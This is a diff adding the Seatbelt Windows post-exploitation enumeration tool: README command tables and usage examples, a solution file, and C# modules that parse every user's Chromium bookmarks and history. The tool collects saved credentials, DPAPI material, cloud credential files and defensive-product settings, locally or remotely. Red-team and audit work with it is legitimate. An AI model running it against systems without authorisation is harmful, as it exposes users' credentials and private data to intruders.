[boolIgnoreErrors] + RPCMappedEndpoints - Current RPC endpoints mapped + + SCCM - System Center Configuration Manager (SCCM) settings, if applicable + + ScheduledTasks - Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "-full" dumps all Scheduled tasks + SearchIndex - Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == + SecPackageCreds - Obtains credentials from security packages + SecurityPackages - Enumerates the security packages currently available using EnumerateSecurityPackagesA() + Services - Services with file info company names that don't contain 'Microsoft', "-full" dumps all processes + + SlackDownloads - Parses any found 'slack-downloads' files + + SlackPresence - Checks if interesting Slack files exist + + SlackWorkspaces - Parses any found 'slack-workspaces' files + + SuperPutty - SuperPutty configuration files + + Sysmon - Sysmon configuration from the registry + + SysmonEvents - Sysmon process creation logs (1) with sensitive data. + TcpConnections - Current TCP connections and their associated processes and services + TokenGroups - The current token's local and domain groups + TokenPrivileges - Currently enabled token privileges (e.g. SeDebugPrivilege/etc.) + + UAC - UAC system policies via the registry + UdpConnections - Current UDP connections and associated processes and services + UserRightAssignments - Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate + + WindowsAutoLogon - Registry autologon information + WindowsCredentialFiles - Windows credential DPAPI blobs + + WindowsDefender - Windows Defender settings (including exclusion locations) + + WindowsEventForwarding - Windows Event Forwarding (WEF) settings via the registry + + WindowsFirewall - Non-standard firewall rules, "-full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public) + WindowsVault - Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge). + WMIEventConsumer - Lists WMI Event Consumers + WMIEventFilter - Lists WMI Event Filters + WMIFilterBinding - Lists WMI Filter to Consumer Bindings + + WSUS - Windows Server Update Services (WSUS) settings, if applicable + + +Seatbelt has the following command groups: All, User, System, Slack, Chromium, Remote, Misc + + You can invoke command groups with "Seatbelt.exe " + + "Seatbelt.exe -group=all" runs all commands + + "Seatbelt.exe -group=user" runs the following commands: + + ChromiumPresence, CloudCredentials, CloudSyncProviders, CredEnum, dir, + DpapiMasterKeys, ExplorerMRUs, ExplorerRunCommands, FileZilla, + FirefoxPresence, IdleTime, IEFavorites, IETabs, + IEUrls, KeePass, MappedDrives, OfficeMRUs, + OracleSQLDeveloper, PowerShellHistory, PuttyHostKeys, PuttySessions, + RDCManFiles, RDPSavedConnections, SecPackageCreds, SlackDownloads, + SlackPresence, SlackWorkspaces, SuperPutty, TokenGroups, + WindowsCredentialFiles, WindowsVault + + "Seatbelt.exe -group=system" runs the following commands: + + AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies, + AuditPolicyRegistry, AutoRuns, CredGuard, DNSCache, + DotNet, EnvironmentPath, EnvironmentVariables, Hotfixes, + InterestingProcesses, InternetSettings, LAPS, LastShutdown, + LocalGPOs, LocalGroups, LocalUsers, LogonSessions, + LSASettings, McAfeeConfigs, NamedPipes, NetworkProfiles, + NetworkShares, NTLMSettings, OSInfo, PoweredOnEvents, + PowerShell, Processes, PSSessionSettings, RDPSessions, + RDPsettings, SCCM, Services, Sysmon, + TcpConnections, TokenPrivileges, UAC, UdpConnections, + UserRightAssignments, WindowsAutoLogon, WindowsDefender, WindowsEventForwarding, + WindowsFirewall, WMIEventConsumer, WMIEventFilter, WMIFilterBinding, + WSUS + + "Seatbelt.exe -group=slack" runs the following commands: + + SlackDownloads, SlackPresence, SlackWorkspaces + + "Seatbelt.exe -group=chromium" runs the following commands: + + ChromiumBookmarks, ChromiumHistory, ChromiumPresence + + "Seatbelt.exe -group=remote" runs the following commands: + + AMSIProviders, AntiVirus, AuditPolicyRegistry, ChromiumPresence, CloudCredentials, + DNSCache, DotNet, DpapiMasterKeys, EnvironmentVariables, + ExplicitLogonEvents, ExplorerRunCommands, FileZilla, Hotfixes, + InterestingProcesses, KeePass, LastShutdown, LocalGroups, + LocalUsers, LogonEvents, LogonSessions, LSASettings, + MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings, + OSInfo, PoweredOnEvents, PowerShell, ProcessOwners, + PSSessionSettings, PuttyHostKeys, PuttySessions, RDPSavedConnections, + RDPSessions, RDPsettings, Sysmon, WindowsDefender, + WindowsEventForwarding, WindowsFirewall + + "Seatbelt.exe -group=misc" runs the following commands: + + ChromiumBookmarks, ChromiumHistory, ExplicitLogonEvents, FileInfo, FirefoxHistory, + InstalledProducts, InterestingFiles, LogonEvents, LOLBAS, + McAfeeSiteList, MicrosoftUpdates, OutlookDownloads, PowerShellEvents, + Printers, ProcessCreationEvents, ProcessOwners, RecycleBin, + reg, RPCMappedEndpoints, ScheduledTasks, SearchIndex, + SecurityPackages, SysmonEvents + + +Examples: + 'Seatbelt.exe [Command2] ...' will run one or more specified checks only + 'Seatbelt.exe -full' will return complete results for a command without any filtering. + 'Seatbelt.exe " [argument]"' will pass an argument to a command that supports it (note the quotes). + 'Seatbelt.exe -group=all' will run ALL enumeration checks, can be combined with "-full". + 'Seatbelt.exe -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\USER -password=PASSWORD]' will run an applicable check remotely + 'Seatbelt.exe -group=remote -computername=COMPUTER.DOMAIN.COM [-username=DOMAIN\USER -password=PASSWORD]' will run remote specific checks + 'Seatbelt.exe -group=system -outputfile="C:\Temp\out.txt"' will run system checks and output to a .txt file. + 'Seatbelt.exe -group=user -q -outputfile="C:\Temp\out.json"' will run in quiet mode with user checks and output to a .json file. +``` + +**Note:** searches that target users will run for the current user if not-elevated and for ALL users if elevated. + +**A more detailed wiki is coming...** + + +## Command Groups + +**Note:** many commands do some type of filtering by default. Supplying the `-full` argument prevents filtering output. Also, the command group `all` will run all current checks. + +For example, the following command will run ALL checks and returns ALL output: + +`Seatbelt.exe -group=all -full` + +### system + +Runs checks that mine interesting data about the system. + +Executed with: `Seatbelt.exe -group=system` + +| Command | Description | +| ----------- | ----------- | +| AMSIProviders | Providers registered for AMSI | +| AntiVirus | Registered antivirus (via WMI) | +| AppLocker | AppLocker settings, if installed | +| ARPTable | Lists the current ARP table and adapter information(equivalent to arp -a) | +| AuditPolicies | Enumerates classic and advanced audit policy settings | +| AuditPolicyRegistry | Audit settings via the registry | +| AutoRuns | Auto run executables/scripts/programs | +| CredGuard | CredentialGuard configuration | +| DNSCache | DNS cache entries (via WMI) | +| DotNet | DotNet versions | +| EnvironmentPath | Current environment %PATH$ folders and SDDL information | +| EnvironmentVariables | Current user environment variables | +| Hotfixes | Installed hotfixes (via WMI) | +| InterestingProcesses | "Interesting" processes - defensive products and admin tools | +| InternetSettings | Internet settings including proxy configs | +| LAPS | LAPS settings, if installed | +| LastShutdown | Returns the DateTime of the last system shutdown (via the registry) | +| LocalGPOs | Local Group Policy settings applied to the machine/local users | +| LocalGroups | Non-empty local groups, "full" displays all groups (argument == computername to enumerate) | +| LocalUsers | Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate) | +| LogonSessions | Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days. | +| LSASettings | LSA settings (including auth packages) | +| McAfeeConfigs | Finds McAfee configuration files | +| NamedPipes | Named pipe names and any readable ACL information | +| NetworkProfiles | Windows network profiles | +| NetworkShares | Network shares exposed by the machine (via WMI) | +| NTLMSettings | NTLM authentication settings | +| OSInfo | Basic OS info (i.e. architecture, OS version, etc.) | +| PoweredOnEvents | Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days. | +| PowerShell | PowerShell versions and security settings | +| Processes | Running processes with file info company names that don't contain 'Microsoft', "full" enumerates all processes | +| PSSessionSettings | Enumerates PS Session Settings from the registry | +| RDPSessions | Current incoming RDP sessions (argument == computername to enumerate) | +| RDPsettings | Remote Desktop Server/Client Settings | +| SCCM | System Center Configuration Manager (SCCM) settings, if applicable | +| Services | Services with file info company names that don't contain 'Microsoft', "full" dumps all processes | +| Sysmon | Sysmon configuration from the registry | +| TcpConnections | Current TCP connections and their associated processes and services | +| TokenPrivileges | Currently enabled token privileges (e.g. SeDebugPrivilege/etc.) | +| UAC | UAC system policies via the registry | +| UdpConnections | Current UDP connections and associated processes and services | +| UserRightAssignments | Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate | +| WindowsAutoLogon | Registry autologon information | +| WindowsDefender | Windows Defender settings (including exclusion locations) | +| WindowsEventForwarding | Windows Event Forwarding (WEF) settings via the registry | +| WindowsFirewall | Non-standard firewall rules, "full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public) | +| WMIEventConsumer | Lists WMI Event Consumers | +| WMIEventFilter | Lists WMI Event Filters | +| WMIFilterBinding | Lists WMI Filter to Consumer Bindings | +| WSUS | Windows Server Update Services (WSUS) settings, if applicable | + + +### user + +Runs checks that mine interesting data about the currently logged on user (if not elevated) or ALL users (if elevated). + +Executed with: `Seatbelt.exe -group=user` + +| Command | Description | +| ----------- | ----------- | +| ChromePresence | Checks if interesting Google Chrome files exist | +| CloudCredentials | AWS/Google/Azure cloud credential files | +| CredEnum | Enumerates the current user's saved credentials using CredEnumerate() | +| dir | Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == \ \ \ | +| DpapiMasterKeys | List DPAPI master keys | +| ExplorerMRUs | Explorer most recently used files (last 7 days, argument == last X days) | +| ExplorerRunCommands | Recent Explorer "run" commands | +| FileZilla | FileZilla configuration files | +| FirefoxPresence | Checks if interesting Firefox files exist | +| IdleTime | Returns the number of seconds since the current user's last input. | +| IEFavorites | Internet Explorer favorites | +| IETabs | Open Internet Explorer tabs | +| IEUrls| Internet Explorer typed URLs (last 7 days, argument == last X days) | +| MappedDrives | Users' mapped drives (via WMI) | +| OfficeMRUs | Office most recently used file list (last 7 days) | +| PowerShellHistory | Iterates through every local user and attempts to read their PowerShell console history if successful will print it | +| PuttyHostKeys | Saved Putty SSH host keys | +| PuttySessions | Saved Putty configuration (interesting fields) and SSH host keys | +| RDCManFiles | Windows Remote Desktop Connection Manager settings files | +| RDPSavedConnections | Saved RDP connections stored in the registry | +| SecPackageCreds | Obtains credentials from security packages | +| SlackDownloads | Parses any found 'slack-downloads' files | +| SlackPresence | Checks if interesting Slack files exist | +| SlackWorkspaces | Parses any found 'slack-workspaces' files | +| SuperPutty | SuperPutty configuration files | +| TokenGroups | The current token's local and domain groups | +| WindowsCredentialFiles | Windows credential DPAPI blobs | +| WindowsVault | Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge). | + + +### misc + +Runs all miscellaneous checks. + +Executed with: `Seatbelt.exe -group=misc` + +| Command | Description | +| ----------- | ----------- | +| ChromeBookmarks | Parses any found Chrome bookmark files | +| ChromeHistory | Parses any found Chrome history files | +| ExplicitLogonEvents | Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days. | +| FileInfo | Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s) | +| FirefoxHistory | Parses any found FireFox history files | +| HuntLolbas | Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time. | +| InstalledProducts | Installed products via the registry | +| InterestingFiles | "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time. | +| LogonEvents | Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days. | +| McAfeeSiteList | Decrypt any found McAfee SiteList.xml configuration files. | +| MicrosoftUpdates | All Microsoft updates (via COM) | +| OutlookDownloads | List files downloaded by Outlook | +| PowerShellEvents | PowerShell script block logs (4104) with sensitive data. | +| Printers | Installed Printers (via WMI) | +| ProcessCreationEvents | Process creation logs (4688) with sensitive data. | +| ProcessOwners | Running non-session 0 process list with owners. For remote use. | +| RecycleBin | Items in the Recycle Bin deleted in the last 30 days - only works from a user context! | +| reg | Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors] | +| RPCMappedEndpoints | Current RPC endpoints mapped | +| ScheduledTasks | Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "full" dumps all Scheduled tasks | +| SearchIndex | Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == \ \ | +| SecurityPackages | Enumerates the security packages currently available using EnumerateSecurityPackagesA() | +| SysmonEvents | Sysmon process creation logs (1) with sensitive data. | + + +### Additional Command Groups + +Executed with: `Seatbelt.exe -group=GROUPNAME` + +| Alias | Description | +| ----------- | ----------- | +| Slack | Runs modules that start with "Slack*" | +| Chrome | Runs modules that start with "Chrome*" | +| Remote | Runs the following modules (for use against a remote system): AMSIProviders, AntiVirus, DotNet, ExplorerRunCommands, Hotfixes, InterestingProcesses, LastShutdown, LogonSessions, LSASettings, MappedDrives, NetworkProfiles, NetworkShares, NTLMSettings, PowerShell, ProcessOwners, PuttyHostKeys, PuttySessions, RDPSavedConnections, RDPSessions, RDPsettings, Sysmon, WindowsDefender, WindowsEventForwarding, WindowsFirewall | + + +## Command Arguments + +Command that accept arguments have it noted in their description. To pass an argument to a command, enclose the command an arguments in double quotes. + +For example, the following command returns 4624 logon events for the last 30 days: + +`Seatbelt.exe "LogonEvents 30"` + +The following command queries a registry three levels deep, returning only keys/valueNames/values that match the regex `.*defini.*`, and ignoring any errors that occur. + +`Seatbelt.exe "reg \"HKLM\SOFTWARE\Microsoft\Windows Defender\" 3 .*defini.* true"` + + +## Output + +Seatbelt can redirect its output to a file with the `-outputfile="C:\Path\file.txt"` argument. If the file path ends in .json, the output will be structured json. + +For example, the following command will output the results of system checks to a txt file: + +`Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"` + + +## Remote Enumeration + +Commands noted with a + in the help menu can be run remotely against another system. This is performed over WMI via queries for WMI classes and WMI's StdRegProv for registry enumeration. + +To enumerate a remote system, supply `-computername=COMPUTER.DOMAIN.COM` - an alternate username and password can be specified with `-username=DOMAIN\USER -password=PASSWORD` + +For example, the following command runs remote-focused checks against a remote system: + +`Seatbelt.exe -group=remote -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""` + + +## Building Your Own Modules + +Seatbelt's structure is completely modular, allowing for additional command modules to be dropped into the file structure and loaded up dynamically. + +There is a commented command module template at `.\Seatbelt\Commands\Template.cs` for reference. Once built, drop the module in the logical file location, include it in the project in the Visual Studio Solution Explorer, and compile. + + +## Compile Instructions + +We are not planning on releasing binaries for Seatbelt, so you will have to compile yourself. + +Seatbelt has been built against .NET 3.5 and 4.0 with C# 8.0 features and is compatible with [Visual Studio Community Edition](https://visualstudio.microsoft.com/downloads/). Simply open up the project .sln, choose "release", and build. To change the target .NET framework version, [modify the project's settings](https://github.com/GhostPack/Seatbelt/issues/27) and rebuild the project. + + +## Acknowledgments + +Seatbelt incorporates various collection items, code C# snippets, and bits of PoCs found throughout research for its capabilities. These ideas, snippets, and authors are highlighted in the appropriate locations in the source code, and include: + +* [@andrewchiles](https://twitter.com/andrewchiles)' [HostEnum.ps1](https://github.com/threatexpress/red-team-scripts/blob/master/HostEnum.ps1) script and [@tifkin\_](https://twitter.com/tifkin_)'s [Get-HostProfile.ps1](https://github.com/leechristensen/Random/blob/master/PowerShellScripts/Get-HostProfile.ps1) provided inspiration for many of the artifacts to collect. +* [Boboes' code concerning NetLocalGroupGetMembers](https://stackoverflow.com/questions/33935825/pinvoke-netlocalgroupgetmembers-runs-into-fatalexecutionengineerror/33939889#33939889) +* [ambyte's code for converting a mapped drive letter to a network path](https://gist.github.com/ambyte/01664dc7ee576f69042c) +* [Igor Korkhov's code to retrieve current token group information](https://stackoverflow.com/questions/2146153/how-to-get-the-logon-sid-in-c-sharp/2146418#2146418) +* [RobSiklos' snippet to determine if a host is a virtual machine](https://stackoverflow.com/questions/498371/how-to-detect-if-my-application-is-running-in-a-virtual-machine/11145280#11145280) +* [JGU's snippet on file/folder ACL right comparison](https://stackoverflow.com/questions/1410127/c-sharp-test-if-user-has-write-access-to-a-folder/21996345#21996345) +* [Rod Stephens' pattern for recursive file enumeration](http://csharphelper.com/blog/2015/06/find-files-that-match-multiple-patterns-in-c/) +* [SwDevMan81's snippet for enumerating current token privileges](https://stackoverflow.com/questions/4349743/setting-size-of-token-privileges-luid-and-attributes-array-returned-by-gettokeni) +* [Jared Atkinson's PowerShell work on Kerberos ticket caches](https://github.com/Invoke-IR/ACE/blob/master/ACE-Management/PS-ACE/Scripts/ACE_Get-KerberosTicketCache.ps1) +* [darkmatter08's Kerberos C# snippet](https://www.dreamincode.net/forums/topic/135033-increment-memory-pointer-issue/) +* Numerous [PInvoke.net](https://www.pinvoke.net/) samples <3 +* [Jared Hill's awesome CodeProject to use Local Security Authority to Enumerate User Sessions](https://www.codeproject.com/Articles/18179/Using-the-Local-Security-Authority-to-Enumerate-Us) +* [Fred's code on querying the ARP cache](https://social.technet.microsoft.com/Forums/lync/en-US/e949b8d6-17ad-4afc-88cd-0019a3ac9df9/powershell-alternative-to-arp-a?forum=ITCG) +* [ShuggyCoUk's snippet on querying the TCP connection table](https://stackoverflow.com/questions/577433/which-pid-listens-on-a-given-port-in-c-sharp/577660#577660) +* [yizhang82's example of using reflection to interact with COM objects through C#](https://gist.github.com/yizhang82/a1268d3ea7295a8a1496e01d60ada816) +* [@djhohnstein](https://twitter.com/djhohnstein)'s [SharpWeb project](https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs) +* [@djhohnstein](https://twitter.com/djhohnstein)'s [EventLogParser project](https://github.com/djhohnstein/EventLogParser) +* [@cmaddalena](https://twitter.com/cmaddalena)'s [SharpCloud project](https://github.com/chrismaddalena/SharpCloud), BSD 3-Clause +* [@_RastaMouse](https://twitter.com/_RastaMouse)'s [Watson project](https://github.com/rasta-mouse/Watson/), GPL License +* [@_RastaMouse](https://twitter.com/_RastaMouse)'s [Work on AppLocker enumeration](https://rastamouse.me/2018/09/enumerating-applocker-config/) +* [@peewpw](https://twitter.com/peewpw)'s [Invoke-WCMDump project](https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1), GPL License +* TrustedSec's [HoneyBadger project](https://github.com/trustedsec/HoneyBadger/tree/master/modules/post/windows/gather), BSD 3-Clause +* CENTRAL Solutions's [Audit User Rights Assignment Project](https://www.centrel-solutions.com/support/tools.aspx?feature=auditrights), No license +* Collection ideas inspired from [@ukstufus](https://twitter.com/ukstufus)'s [Reconerator](https://github.com/stufus/reconerator) +* Office MRU locations and timestamp parsing information from Dustin Hurlbut's paper [Microsoft Office 2007, 2010 - Registry Artifacts](https://ad-pdf.s3.amazonaws.com/Microsoft_Office_2007-2010_Registry_ArtifactsFINAL.pdf) +* The [Windows Commands list](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands), used for sensitive regex construction +* [Ryan Ries' code for enumeration mapped RPC endpoints](https://stackoverflow.com/questions/21805038/how-do-i-pinvoke-rpcmgmtepeltinqnext) +* [Chris Haas' post on EnumerateSecurityPackages()](https://stackoverflow.com/a/5941873) +* [darkoperator](carlos_perez)'s work [on the HoneyBadger project](https://github.com/trustedsec/HoneyBadger) +* [@airzero24](https://twitter.com/airzero24)'s work on [WMI Registry enumeration](https://github.com/airzero24/WMIReg) +* Alexandru's answer on [RegistryKey.OpenBaseKey alternatives](https://stackoverflow.com/questions/26217199/what-are-some-alternatives-to-registrykey-openbasekey-in-net-3-5) +* Tomas Vera's [post on JavaScriptSerializer](http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/) +* Marc Gravell's [note on recursively listing files/folders](https://stackoverflow.com/a/929418) +* [@mattifestation](https://twitter.com/mattifestation)'s [Sysmon rule parser](https://github.com/mattifestation/PSSysmonTools/blob/master/PSSysmonTools/Code/SysmonRuleParser.ps1#L589-L595) +* Some inspiration from spolnik's [Simple.CredentialsManager project](https://github.com/spolnik/Simple.CredentialsManager), Apache 2 license +* [This post on Credential Guard settings](https://www.tenforums.com/tutorials/68926-verify-if-device-guard-enabled-disabled-windows-10-a.html) +* [This thread](https://social.technet.microsoft.com/Forums/windows/en-US/b0e13a16-51a6-4aca-8d44-c85e097f882b/nametype-in-nla-information-for-a-network-profile) on network profile information +* Mark McKinnon's post on [decoding the DateCreated and DateLastConnected SSID values](http://cfed-ttf.blogspot.com/2009/08/decoding-datecreated-and.html) +* This Specops [post on group policy caching](https://specopssoft.com/blog/things-work-group-policy-caching/) +* sa_ddam213's StackOverflow post on [enumerating items in the Recycle Bin](https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files) +* Kirill Osenkov's [code for managed assembly detection](https://stackoverflow.com/a/15608028) +* The [Mono project](https://github.com/mono/linux-packaging-mono/blob/d356d2b7db91d62b80a61eeb6fbc70a402ac3cac/external/corefx/LICENSE.TXT) for the SecBuffer/SecBufferDesc classes +* [Elad Shamir](https://twitter.com/elad_shamir) and his [Internal-Monologue](https://github.com/eladshamir/Internal-Monologue/) project, [Vincent Le Toux](https://twitter.com/mysmartlogon) for his [DetectPasswordViaNTLMInFlow](https://github.com/vletoux/DetectPasswordViaNTLMInFlow/) project, and Lee Christensen for this [GetNTLMChallenge](https://github.com/leechristensen/GetNTLMChallenge/) project. All of these served as inspiration int he SecPackageCreds command. +* @leftp and @eksperience's [Gopher project](https://github.com/EncodeGroup/Gopher) for inspiration for the FileZilla and SuperPutty commands +* @funoverip for the original McAfee SiteList.xml decryption code + +We've tried to do our due diligence for citations, but if we've left someone/something out, please let us know! diff --git a/post_exploitation/Seatbelt/Seatbelt.sln b/post_exploitation/Seatbelt/Seatbelt.sln new file mode 100755 index 0000000..82bbbc7 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28010.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Seatbelt", "Seatbelt\Seatbelt.csproj", "{AEC32155-D589-4150-8FE7-2900DF4554C8}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {AEC32155-D589-4150-8FE7-2900DF4554C8}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {AEC32155-D589-4150-8FE7-2900DF4554C8}.Debug|Any CPU.Build.0 = Debug|Any CPU + {AEC32155-D589-4150-8FE7-2900DF4554C8}.Release|Any CPU.ActiveCfg = Release|Any CPU + {AEC32155-D589-4150-8FE7-2900DF4554C8}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {582494D9-B9F0-40F9-B7B3-4483685E6732} + EndGlobalSection +EndGlobal diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/ChromiumBookmarksCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/ChromiumBookmarksCommand.cs new file mode 100644 index 0000000..261a33e --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/ChromiumBookmarksCommand.cs @@ -0,0 +1,142 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Web.Script.Serialization; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Browser +{ + // TODO: Listing bookmarks does not account for bookmark folders. It lists folders, but not nested bookmarks/folders inside another folder ) + internal class Bookmark + { + public Bookmark(string name, string url) + { + Name = name; + Url = url; + } + public string Name { get; } + public string Url { get; } + } + + internal class ChromiumBookmarksCommand : CommandBase + { + public override string Command => "ChromiumBookmarks"; + public override string Description => "Parses any found Chrome/Edge/Brave/Opera bookmark files"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc, CommandGroup.Chromium }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public ChromiumBookmarksCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + string[] paths = { + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", + "\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\", + "\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\", + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + }; + + foreach (string path in paths) + { + // TODO: Account for other profiles + var userChromeBookmarkPath = $"{dir}{path}Bookmarks"; + + // parses a Chrome bookmarks file + if (!File.Exists(userChromeBookmarkPath)) + continue; + + var bookmarks = new List(); + + try + { + var contents = File.ReadAllText(userChromeBookmarkPath); + + // reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/ + var json = new JavaScriptSerializer(); + var deserialized = json.Deserialize>(contents); + var roots = (Dictionary)deserialized["roots"]; + var bookmarkBar = (Dictionary)roots["bookmark_bar"]; + var children = (ArrayList)bookmarkBar["children"]; + + foreach (Dictionary entry in children) + { + var bookmark = new Bookmark( + $"{entry["name"].ToString().Trim()}", + entry.ContainsKey("url") ? $"{entry["url"]}" : "(Bookmark Folder?)" + ); + + bookmarks.Add(bookmark); + } + } + catch (Exception exception) + { + WriteError(exception.ToString()); + } + + yield return new ChromiumBookmarksDTO( + userName, + userChromeBookmarkPath, + bookmarks + ); + } + } + } + + internal class ChromiumBookmarksDTO : CommandDTOBase + { + public ChromiumBookmarksDTO(string userName, string filePath, List bookmarks) + { + UserName = userName; + FilePath = filePath; + Bookmarks = bookmarks; + } + public string UserName { get; } + public string FilePath { get; } + public List Bookmarks { get; } + } + + [CommandOutputType(typeof(ChromiumBookmarksDTO))] + internal class ChromiumBookmarksFormatter : TextFormatterBase + { + public ChromiumBookmarksFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ChromiumBookmarksDTO)result; + + if (dto.Bookmarks.Count > 0) + { + WriteLine($"Bookmarks ({dto.FilePath}):\n"); + + foreach (var bookmark in dto.Bookmarks) + { + WriteLine($" Name : {bookmark.Name}"); + WriteLine($" URL : {bookmark.Url}\n"); + } + WriteLine(); + } + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/ChromiumHistoryCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/ChromiumHistoryCommand.cs new file mode 100644 index 0000000..821bdc0 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/ChromiumHistoryCommand.cs @@ -0,0 +1,123 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text.RegularExpressions; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands.Browser +{ + internal class ChromiumHistoryCommand : CommandBase + { + public override string Command => "ChromiumHistory"; + public override string Description => "Parses any found Chrome/Edge/Brave/Opera history files"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc, CommandGroup.Chromium }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public ChromiumHistoryCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var dirs = ThisRunTime.GetDirectories("\\Users\\"); + + foreach (var dir in dirs) + { + var parts = dir.Split('\\'); + var userName = parts[parts.Length - 1]; + if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || + dir.EndsWith("All Users")) + { + continue; + } + + string[] paths = { + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", + "\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\", + "\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\", + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + }; + + foreach (string path in paths) + { + var userChromiumHistoryPath = $"{dir}{path}History"; + + // parses a Chrome history file via regex + if (File.Exists(userChromiumHistoryPath)) + { + var historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?"); + var URLs = new List(); + + try + { + using (var r = new StreamReader(userChromiumHistoryPath)) + { + string line; + while ((line = r.ReadLine()) != null) + { + var m = historyRegex.Match(line); + if (m.Success) + { + URLs.Add($"{m.Groups[0].ToString().Trim()}"); + } + } + } + } + catch (IOException exception) + { + WriteError($"IO exception, history file likely in use (i.e. browser is likely running): {exception.Message}"); + } + catch (Exception exception) + { + WriteError(exception.ToString()); + } + + yield return new ChromiumHistoryDTO( + userName, + userChromiumHistoryPath, + URLs + ); + } + } + } + } + + internal class ChromiumHistoryDTO : CommandDTOBase + { + public ChromiumHistoryDTO(string userName, string filePath, List urLs) + { + UserName = userName; + FilePath = filePath; + URLs = urLs; + } + public string UserName { get; } + public string FilePath { get; } + public List URLs { get; } + } + + [CommandOutputType(typeof(ChromiumHistoryDTO))] + internal class ChromiumHistoryFormatter : TextFormatterBase + { + public ChromiumHistoryFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ChromiumHistoryDTO)result; + + WriteLine($"History ({dto.FilePath}):\n"); + + foreach (var url in dto.URLs) + { + WriteLine($" {url}"); + } + WriteLine(); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Browser/ChromiumPresenceCommand.cs 